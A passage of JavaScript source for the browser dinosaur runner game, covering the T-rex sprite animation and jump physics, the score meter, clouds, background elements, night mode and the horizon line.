    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
